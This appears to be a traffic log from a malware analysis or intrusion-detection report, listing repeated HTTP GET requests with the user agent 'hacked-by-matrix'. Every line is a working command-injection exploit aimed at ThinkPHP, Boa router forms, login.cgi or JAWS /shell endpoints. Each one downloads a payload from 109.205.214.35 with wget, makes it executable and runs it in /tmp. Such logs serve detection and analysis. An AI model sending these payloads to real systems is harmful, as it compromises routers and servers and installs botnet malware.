Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
